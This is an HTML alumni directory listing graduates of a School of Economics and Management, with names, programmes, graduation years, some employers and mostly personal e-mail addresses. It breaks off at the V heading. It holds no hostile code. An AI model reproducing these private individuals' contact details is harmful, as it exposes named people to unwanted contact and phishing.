<p><strong><br></strong></p><p><strong>Suleyman Yagizarov </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:ssyagizarov@gmail.com\">ssyagizarov[at]gmail.com</a></p><p><strong><br></strong></p><p><strong>Saadat Afandiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: <a href=\"mailto:efendi_sea@mail.ru\">efendi_sea[at]mail.ru</a></p><p><a href=\"mailto:efendi_sea@mail.ru\"></a>Azerbaijan\r\nsupermarkets llc</p><p><strong>Samir Musayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Foreign economic activity,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:s.musayev@hotmail.com\">s.musayev[at]hotmail.com</a></p>\r\n<p>The Secreteriat of Tariff Council of Azerbaijan Republic, advisor </p>\r\n<p><strong>&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt\">Samir Yuniszade</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p>E-mail: <a href=\"mailto:s.yunisli@mail.ru\">s.yunisli[at]mail.ru</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Sarkhan\r\nMammadov </span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail:<strong></strong><a href=\"mailto:Sarkhan017@gmail.com\">Sarkhan017[at]gmail.com</a></p>\r\n<p>Bridge Group of Companies, founder and director of AZEKH program</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sakina&nbsp;Karimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Sakina.karimli@mail.ru\">Sakina.karimli@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina İsmikhanli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:s.ismikhanli@hotmail.com\">s.ismikhanli@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:s.ismikhanli@hotmail.com\"></a>MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sona Ravanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sona.revanova@gmail.com\">sona.revanova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinj Telman</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sevinc0526@gmail.com\">sevinc0526@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sanan Jabbarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:C_senan@live.ru\">C_senan@live.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samir Zeynalli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeynalli.samir@gmail.com\">zeynalli.samir@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Abdullayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Converteam Inc, Pittsburgh, PA/AP Accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samira Aliyeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aliyevasamira@yahoo.com\">aliyevasamira@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samir İsayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Topaz Energy and Marine LTD&nbsp; translator</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Samir_isayev@hotmail.com\">Samir_isayev@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Samir_isayev@hotmail.com\"></a>2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Guliyeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">TBC Kredit NBCO(Non Banking Credit Organization), Senior Customer\r\nRelationship Officer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:s.quliyeva@yahoo.com\">s.quliyeva@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sonakhanim Rajabova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sonaxanim@hotmail.com\">sonaxanim@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sama Abdulazimova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sabdulazimova@yahoo.com\">sabdulazimova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Saida Huseynova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Baker Hughes Services Int. Inc. , Finance Lead (IC group)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:saida.aliyeva@bakerhughes.com\">saida.aliyeva@bakerhughes.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:saida.aliyeva@bakerhughes.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Safura Ahmadova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:safura_ahmadova@yahoo.com\">safura_ahmadova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Namazova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: sabina.namazova@ gmail.com</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Samira Sultanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sultanova.s@gmail.com\">sultanova.s@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sabina Tarazanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahin Azizov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shamo Zahidov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:samo18@box.az\">samo18@box.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shamil&nbsp;Mammadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamil214@mail.ru\">shamil214@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shahin Samadli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shahin-s20@hotmail.com\">shahin-s20@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shamil Ahmadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:s-ahmedov@mail.ru\">s-ahmedov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shamsi Gadirli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics and management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Gabala tourism and information center&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamsiqadirli@gmail.com\">shamsiqadirli@gmail.com</a></p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Shabnam Kangarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:underpull@hotmail.com\">underpull@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp; (Honor)</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"T\" style=\"font-weight:bold\"><strong>T</strong></h3><p><strong><span style=\"font-size:medium\">Tural Bayramli</span> </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:turalb93@gmail.com\">turalb93[at]gmail.com</a></p>\r\n<p>MET-AK MMC<strong></strong></p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Toğrul Khalilov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:toghrul.khalilov@gmail.com\">toghrul.khalilov[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Turkel Badalov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:turkelb77@gmail.com\">turkelb77[at]gmail.com</a></p>\r\n<p>RSM Azerbaijan, Audit assistant</p>\r\n<p><strong><br></strong></p><p><strong>Turkan Karimova&nbsp; </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Marketing, 2017</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:turkan_ibrahimli@list.ru\">turkan_ibrahimli[at]list.ru</a></p>\r\n<p>SIGMA ENERGY MARINE FZE company\r\nbranch of Azerbaijan Republic&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tajaddin Hasanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Taceddin.hasanov@gmail.com\">Taceddin.hasanov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Aghayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:tural1988-88@mail.ru\">tural1988-88@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tavakkul Sadigov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:tavakkul@inbox.ru\">tavakkul@inbox.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Nikoil Commercial Investment Bank, Head of Reporting and Statistic\r\nDepartment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:babayev.tural@gmail.com\">babayev.tural@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turana Mustafayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:turana.mustafayeva@hotmail.com\">turana.mustafayeva@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural&nbsp;Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP, Financial Analyst</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mammadov_tural@yahoo.com\">mammadov_tural@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Telli Ahmadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Banking</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:ahmadova_t@mail.ru\">ahmadova_t@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tural Gasimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:gasimli000@gmail.com\">gasimli000@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Turgut Azizov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:turqut.ezizov@khazar.org\">turqut.ezizov@khazar.org</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:turqut.ezizov@khazar.org\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Taleh Fataliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:taleh_feteliyev@mail.ru\">taleh_feteliyev@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><h3>U<strong></strong></h3><p><strong><span style=\"font-size:13.5pt;line-height:115%\"><span style=\"font-size:medium\">Ulviyya Musayeva</span> <o:p></o:p></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Ulya.musayeva77@gmail.com\">Ulya.musayeva77[at]gmail.com</a><strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>\r\n<p><strong>Ulviyya Mukhtarli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ulviyyami@yandex.ru\">ulviyyami[at]yandex.ru</a></p>\r\n<p>Central asia Business Consultants (CABC)</p>\r\n<p><strong><br></strong></p><p><strong>Ulviyya Mustafayeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations, 2017</p>\r\n<p>E-mail: &nbsp;<a href=\"mailto:mustafayevau@list.ru\">mustafayevau[at]list.ru</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ughur Eminli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulviyya&nbsp;Pashayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Ulviyyap2004@yahoo.com\">Ulviyyap2004@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"V\" 